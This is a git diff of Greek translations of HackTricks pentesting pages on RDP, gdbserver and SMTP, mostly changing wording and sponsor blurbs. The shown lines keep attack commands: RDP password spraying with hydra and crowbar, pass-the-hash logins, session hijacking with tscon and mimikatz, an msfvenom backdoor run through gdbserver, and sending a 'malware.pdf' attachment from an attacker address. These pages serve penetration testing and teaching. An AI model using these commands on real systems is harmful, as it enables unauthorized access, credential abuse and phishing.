Αναπτυγμένο από τη Microsoft, το **Remote Desktop Protocol** (**RDP**) έχει σχεδιαστεί για να επιτρέπει μια γραφική διεπαφή σύνδεσης μεταξύ υπολογιστών μέσω ενός δικτύου. Για να καθιερωθεί μια τέτοια σύνδεση, το λογισμικό πελάτη **RDP** χρησιμοποιείται από τον χρήστη, και ταυτόχρονα, ο απομακρυσμένος υπολογιστής απαιτεί να λειτουργεί το λογισμικό διακομιστή **RDP**. Αυτή η ρύθμιση επιτρέπει τον απρόσκοπτο έλεγχο και την πρόσβαση στο περιβάλλον επιφάνειας εργασίας ενός απομακρυσμένου υπολογιστή, φέρνοντας ουσιαστικά τη διεπαφή του στη τοπική συσκευή του χρήστη. Αναπτυγμένο από τη Microsoft, το **Remote Desktop Protocol** (**RDP**) έχει σχεδιαστεί για να επιτρέπει μια γραφική σύνδεση μεταξύ υπολογιστών μέσω ενός δικτύου. Για να καθιερωθεί μια τέτοια σύνδεση, το λογισμικό πελάτη **RDP** χρησιμοποιείται από τον χρήστη, και ταυτόχρονα, ο απομακρυσμένος υπολογιστής απαιτεί να λειτουργεί το λογισμικό διακομιστή **RDP**. Αυτή η ρύθμιση επιτρέπει τον απρόσκοπτο έλεγχο και την πρόσβαση στο περιβάλλον επιφάνειας εργασίας ενός απομακρυσμένου υπολογιστή, φέρνοντας ουσιαστικά τη διεπαφή του στη τοπική συσκευή του χρήστη.
**Default port:** 3389 **Default port:** 3389
``` ```
@ -55,14 +57,14 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra # hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
``` ```
### Συνδεθείτε με γνωστά διαπιστευτήρια/κατακερματισμό ### Συνδεθείτε με γνωστά διαπιστευτήρια/hash
```bash ```bash
rdesktop -u <username> <IP> rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP> rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP> xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
``` ```
### Έλεγχος γνωστών διαπιστευτηρίων σε υπηρεσίες RDP ### Έλεγχος γνωστών διαπιστευτηρίων για υπηρεσίες RDP
rdp\_check.py από το impacket σας επιτρέπει να ελέγξετε αν κάποια διαπιστευτήρια είναι έγκυρα για μια υπηρεσία RDP: rdp\_check.py από το impacket σας επιτρέπει να ελέγξετε αν κάποια διαπιστευτήρια είναι έγκυρα για μια υπηρεσία RDP:
```bash ```bash
@ -70,7 +72,9 @@ rdp_check <domain>/<name>:<password>@<IP>
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε έναν πλήρη pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -92,7 +96,7 @@ tscon <ID> /dest:<SESSIONNAME>
**Σημαντικό**: Όταν αποκτάτε πρόσβαση σε ενεργές συνεδρίες RDP, θα αποσυνδέσετε τον χρήστη που τις χρησιμοποιούσε. **Σημαντικό**: Όταν αποκτάτε πρόσβαση σε ενεργές συνεδρίες RDP, θα αποσυνδέσετε τον χρήστη που τις χρησιμοποιούσε.
Μπορείτε να αποκτήσετε κωδικούς πρόσβασης από τη διαδικασία εκτελώντας την, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σας επιτρέπει να αλληλεπιδράσετε με τα εικονικά γραφεία του χρήστη (κωδικοί πρόσβασης σε σημειωματάριο χωρίς να αποθηκευτούν στο δίσκο, άλλες συνεδρίες RDP ανοιχτές σε άλλες μηχανές...) Μπορείτε να αποκτήσετε κωδικούς πρόσβασης από τη διαδικασία εκτελώντας την, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σας επιτρέπει να αλληλεπιδράτε με τα εικονικά γραφεία του χρήστη (κωδικοί πρόσβασης σε σημειωματάριο χωρίς να αποθηκεύονται στο δίσκο, άλλες συνεδρίες RDP ανοιχτές σε άλλες μηχανές...)
#### **Mimikatz** #### **Mimikatz**
@ -109,7 +113,7 @@ ts::remote /id:2 #Connect to the session
### RDP Process Injection ### RDP Process Injection
Αν κάποιος από διαφορετικό τομέα ή με **καλύτερα δικαιώματα συνδεθεί μέσω RDP** στον υπολογιστή όπου **είστε διαχειριστής**, μπορείτε να **εισάγετε** το beacon σας στη **διαδικασία συνεδρίας RDP** του: Εάν κάποιος από διαφορετικό τομέα ή με **καλύτερα δικαιώματα συνδεθεί μέσω RDP** στον υπολογιστή όπου **είστε διαχειριστής**, μπορείτε να **εισάγετε** το beacon σας στη **διαδικασία συνεδρίας RDP** του και να ενεργήσετε ως αυτός:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} {% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md) [rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
@ -123,13 +127,13 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) * [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** είναι ένα πλαίσιο μετα-εκμετάλλευσης που έχει δημιουργηθεί σε Powershell, σχεδιασμένο κυρίως για να αυτοματοποιεί την επίθεση **Shadow** σε υπολογιστές Microsoft Windows. Αυτή η ευπάθεια (καταχωρημένη ως χαρακτηριστικό από τη Microsoft) επιτρέπει σε έναν απομακρυσμένο επιτιθέμενο να **δείχνει την επιφάνεια εργασίας του θύματος χωρίς τη συγκατάθεσή του**, και ακόμη και να την ελέγχει κατόπιν αιτήματος, χρησιμοποιώντας εργαλεία που είναι εγγενή στο ίδιο το λειτουργικό σύστημα. **AutoRDPwn** είναι ένα πλαίσιο μετα-εκμετάλλευσης που έχει δημιουργηθεί σε Powershell, σχεδιασμένο κυρίως για να αυτοματοποιεί την επίθεση **Shadow** σε υπολογιστές Microsoft Windows. Αυτή η ευπάθεια (καταχωρημένη ως χαρακτηριστικό από τη Microsoft) επιτρέπει σε έναν απομακρυσμένο επιτιθέμενο να **βλέπει την επιφάνεια εργασίας του θύματος χωρίς τη συγκατάθεσή του**, και ακόμη και να την ελέγχει κατόπιν αιτήματος, χρησιμοποιώντας εργαλεία που είναι εγγενή στο ίδιο το λειτουργικό σύστημα.
* [**EvilRDP**](https://github.com/skelsec/evilrdp) * [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Έλεγχος του ποντικιού και του πληκτρολογίου με αυτοματοποιημένο τρόπο από τη γραμμή εντολών * Έλεγχος του ποντικιού και του πληκτρολογίου με αυτοματοποιημένο τρόπο από τη γραμμή εντολών
* Έλεγχος του clipboard με αυτοματοποιημένο τρόπο από τη γραμμή εντολών * Έλεγχος του clipboard με αυτοματοποιημένο τρόπο από τη γραμμή εντολών
* Δημιουργία ενός SOCKS proxy από τον πελάτη που κατευθύνει την δικτυακή επικοινωνία προς τον στόχο μέσω RDP * Δημιουργία ενός SOCKS proxy από τον πελάτη που κατευθύνει την δικτυακή επικοινωνία προς τον στόχο μέσω RDP
* Εκτέλεση αυθαίρετων SHELL και PowerShell εντολών στον στόχο χωρίς να ανεβάσετε αρχεία * Εκτέλεση αυθαίρετων εντολών SHELL και PowerShell στον στόχο χωρίς να ανεβάσετε αρχεία
* Ανεβάστε και κατεβάστε αρχεία προς/από τον στόχο ακόμη και όταν οι μεταφορές αρχείων είναι απενεργοποιημένες στον στόχο * Ανεβάστε και κατεβάστε αρχεία προς/από τον στόχο ακόμη και όταν οι μεταφορές αρχείων είναι απενεργοποιημένες στον στόχο
## HackTricks Automatic Commands ## HackTricks Automatic Commands
@ -153,7 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε μια πλήρη pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο να εμβαθύνουν, να ανοίξουν κέλυφος και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -163,7 +169,7 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
<details> <details>
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -17,19 +17,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να αποκτήσουν πρόσβαση και να διασκεδάσουν. #### Get a hacker's perspective on your web apps, network, and cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Βασικές Πληροφορίες** ## **Basic Information**
**gdbserver** είναι ένα εργαλείο που επιτρέπει την αποσφαλμάτωση προγραμμάτων απομακρυσμένα. Εκτελείται παράλληλα με το πρόγραμμα που χρειάζεται αποσφαλμάτωση στο ίδιο σύστημα, γνωστό ως "στόχος." Αυτή η ρύθμιση επιτρέπει στον **GNU Debugger** να συνδεθεί από μια διαφορετική μηχανή, τον "οικοδεσπότη," όπου αποθηκεύονται ο πηγαίος κώδικας και μια δυαδική αντιγραφή του αποσφαλματωμένου προγράμματος. Η σύνδεση μεταξύ του **gdbserver** και του αποσφαλματωτή μπορεί να γίνει μέσω TCP ή μιας σειριακής γραμμής, επιτρέποντας ευέλικτες ρυθμίσεις αποσφαλμάτωσης. **gdbserver** είναι ένα εργαλείο που επιτρέπει την αποσφαλμάτωση προγραμμάτων απομακρυσμένα. Εκτελείται παράλληλα με το πρόγραμμα που χρειάζεται αποσφαλμάτωση στο ίδιο σύστημα, γνωστό ως "στόχος." Αυτή η ρύθμιση επιτρέπει στον **GNU Debugger** να συνδεθεί από μια διαφορετική μηχανή, τον "οικοδεσπότη," όπου αποθηκεύονται ο πηγαίος κώδικας και μια δυαδική αντιγραφή του αποσφαλματωμένου προγράμματος. Η σύνδεση μεταξύ του **gdbserver** και του αποσφαλματωτή μπορεί να γίνει μέσω TCP ή μιας σειριακής γραμμής, επιτρέποντας ευέλικτες ρυθμίσεις αποσφαλμάτωσης.
Μπορείτε να κάνετε τον **gdbserver να ακούει σε οποιαδήποτε θύρα** και αυτή τη στιγμή **το nmap δεν είναι ικανό να αναγνωρίσει την υπηρεσία**. Μπορείτε να κάνετε τον **gdbserver να ακούει σε οποιαδήποτε θύρα** και αυτή τη στιγμή **το nmap δεν είναι ικανό να αναγνωρίσει την υπηρεσία**.
## Εκμετάλλευση ## Exploitation
### Μεταφόρτωση και Εκτέλεση ### Upload and Execute
Μπορείτε εύκολα να δημιουργήσετε ένα **elf backdoor με το msfvenom**, να το ανεβάσετε και να το εκτελέσετε: Μπορείτε εύκολα να δημιουργήσετε ένα **elf backdoor με το msfvenom**, να το ανεβάσετε και να το εκτελέσετε:
```bash ```bash
@ -56,7 +58,7 @@ run
``` ```
### Εκτέλεση αυθαίρετων εντολών ### Εκτέλεση αυθαίρετων εντολών
Υπάρχει ένας άλλος τρόπος να **κάνετε τον αποσφαλματωτή να εκτελεί αυθαίρετες εντολές μέσω ενός** [**προσαρμοσμένου script python που μπορείτε να βρείτε εδώ**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target). Υπάρχει ένας άλλος τρόπος να **κάνετε τον αποσφαλματωτή να εκτελεί αυθαίρετες εντολές μέσω ενός** [**προσαρμοσμένου script python που έχει ληφθεί από εδώ**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
```bash ```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server. # Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345 target extended-remote 192.168.1.4:2345
@ -198,7 +200,9 @@ RemoteCmd()
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε ένα πλήρες pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -208,7 +212,7 @@ RemoteCmd()
<details> <details>
<summary>Υποστηρίξτε το HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -17,17 +17,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να αποκτήσουν πρόσβαση και να διασκεδάσουν. #### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Βασικές Πληροφορίες** ## **Basic Information**
Το **Πρωτόκολλο Απλής Μεταφοράς Ταχυδρομείου (SMTP)** είναι ένα πρωτόκολλο που χρησιμοποιείται μέσα στην σουίτα TCP/IP για την **αποστολή και λήψη e-mail**. Λόγω των περιορισμών του στην ουρά μηνυμάτων στο τέλος του παραλήπτη, το SMTP συχνά χρησιμοποιείται παράλληλα με το **POP3 ή IMAP**. Αυτά τα επιπλέον πρωτόκολλα επιτρέπουν στους χρήστες να αποθηκεύουν μηνύματα σε ένα διακομιστή ταχυδρομείου και να τα κατεβάζουν περιοδικά. Το **Simple Mail Transfer Protocol (SMTP)** είναι ένα πρωτόκολλο που χρησιμοποιείται μέσα στην σουίτα TCP/IP για την **αποστολή και λήψη e-mail**. Λόγω των περιορισμών του στην ουρά μηνυμάτων στο τέλος του παραλήπτη, το SMTP συχνά χρησιμοποιείται παράλληλα με το **POP3 ή IMAP**. Αυτά τα επιπλέον πρωτόκολλα επιτρέπουν στους χρήστες να αποθηκεύουν μηνύματα σε ένα διακομιστή ταχυδρομείου και να τα κατεβάζουν περιοδικά.
Στην πράξη, είναι κοινό για τα **προγράμματα e-mail** να χρησιμοποιούν **SMTP για την αποστολή e-mails**, ενώ χρησιμοποιούν **POP3 ή IMAP για την λήψη** τους. Σε συστήματα βασισμένα σε Unix, το **sendmail** ξεχωρίζει ως ο διακομιστής SMTP που χρησιμοποιείται πιο συχνά για σκοπούς e-mail. Το εμπορικό πακέτο που ονομάζεται Sendmail περιλαμβάνει έναν διακομιστή POP3. Επιπλέον, το **Microsoft Exchange** παρέχει έναν διακομιστή SMTP και προσφέρει την επιλογή να συμπεριληφθεί υποστήριξη POP3. Στην πράξη, είναι κοινό για τα **προγράμματα e-mail** να χρησιμοποιούν **SMTP για την αποστολή e-mails**, ενώ χρησιμοποιούν **POP3 ή IMAP για την λήψη** τους. Σε συστήματα βασισμένα σε Unix, το **sendmail** ξεχωρίζει ως ο διακομιστής SMTP που χρησιμοποιείται πιο συχνά για σκοπούς e-mail. Το εμπορικό πακέτο που ονομάζεται Sendmail περιλαμβάνει έναν διακομιστή POP3. Επιπλέον, το **Microsoft Exchange** παρέχει έναν διακομιστή SMTP και προσφέρει την επιλογή να συμπεριληφθεί υποστήριξη POP3.
**Προεπιλεγμένη θύρα:** 25,465(ssl),587(ssl) **Default port:** 25,465(ssl),587(ssl)
``` ```
PORT STATE SERVICE REASON VERSION PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959 25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
@ -66,7 +68,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
``` ```
### NTLM Auth - Αποκάλυψη πληροφοριών ### NTLM Auth - Αποκάλυψη πληροφοριών
Αν ο διακομιστής υποστηρίζει NTLM auth (Windows) μπορείτε να αποκτήσετε ευαίσθητες πληροφορίες (εκδόσεις). Περισσότερες πληροφορίες [**εδώ**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666). Εάν ο διακομιστής υποστηρίζει NTLM auth (Windows) μπορείτε να αποκτήσετε ευαίσθητες πληροφορίες (εκδόσεις). Περισσότερες πληροφορίες [**εδώ**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
```bash ```bash
root@kali: telnet example.com 587 root@kali: telnet example.com 587
220 example.com SMTP Server Banner 220 example.com SMTP Server Banner
@ -77,11 +79,11 @@ NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
``` ```
Ή **αυτοματοποιήστε** αυτό με το **nmap** plugin `smtp-ntlm-info.nse` Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse`
### Εσωτερικό όνομα διακομιστή - Αποκάλυψη πληροφοριών ### Internal server name - Information disclosure
Ορισμένοι διακομιστές SMTP αυτόματα συμπληρώνουν τη διεύθυνση ενός αποστολέα όταν εκδίδεται η εντολή "MAIL FROM" χωρίς πλήρη διεύθυνση, αποκαλύπτοντας το εσωτερικό του όνομα: Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name:
``` ```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all EHLO all
@ -169,17 +171,19 @@ Nmap: nmap --script smtp-enum-users <IP>
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε έναν πλήρη pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να αποκτήσουν πρόσβαση σε συστήματα και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## DSN Reports ## DSN Reports
**Αναφορές Κατάστασης Παράδοσης**: Εάν στείλετε ένα **email** σε έναν οργανισμό σε μια **μη έγκυρη διεύθυνση**, ο οργανισμός θα σας ειδοποιήσει ότι η διεύθυνση ήταν μη έγκυρη στέλνοντας ένα **mail πίσω σε εσάς**. **Οι κεφαλίδες** του επιστραφέντος email θα **περιέχουν** πιθανές **ευαίσθητες πληροφορίες** (όπως η διεύθυνση IP των υπηρεσιών email που αλληλεπίδρασαν με τις αναφορές ή πληροφορίες λογισμικού antivirus). **Αναφορές Κατάστασης Παράδοσης**: Εάν στείλετε ένα **email** σε έναν οργανισμό σε μια **μη έγκυρη διεύθυνση**, ο οργανισμός θα σας ειδοποιήσει ότι η διεύθυνση ήταν μη έγκυρη στέλνοντας ένα **mail πίσω σε εσάς**. **Headers** του επιστρεφόμενου email θα **περιέχουν** πιθανές **ευαίσθητες πληροφορίες** (όπως η διεύθυνση IP των υπηρεσιών email που αλληλεπίδρασαν με τις αναφορές ή πληροφορίες λογισμικού antivirus).
## [Commands](smtp-commands.md) ## [Commands](smtp-commands.md)
### Αποστολή Email από κονσόλα linux ### Αποστολή ενός Email από την κονσόλα linux
```bash ```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used. Reading message body from STDIN because the '-m' option was not used.
@ -259,11 +263,11 @@ print("[***]successfully sent email to %s:" % (msg['To']))
### SPF ### SPF
{% hint style="danger" %} {% hint style="danger" %}
Το SPF [ήταν "παρωχημένο" το 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Αυτό σημαίνει ότι αντί να δημιουργήσετε ένα **TXT record** στο `_spf.domain.com`, το δημιουργείτε στο `domain.com` χρησιμοποιώντας την **ίδια σύνταξη**.\ Το SPF [ήταν "παρωχημένο" το 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Αυτό σημαίνει ότι αντί να δημιουργήσετε μια **εγγραφή TXT** στο `_spf.domain.com`, τη δημιουργείτε στο `domain.com` χρησιμοποιώντας την **ίδια σύνταξη**.\
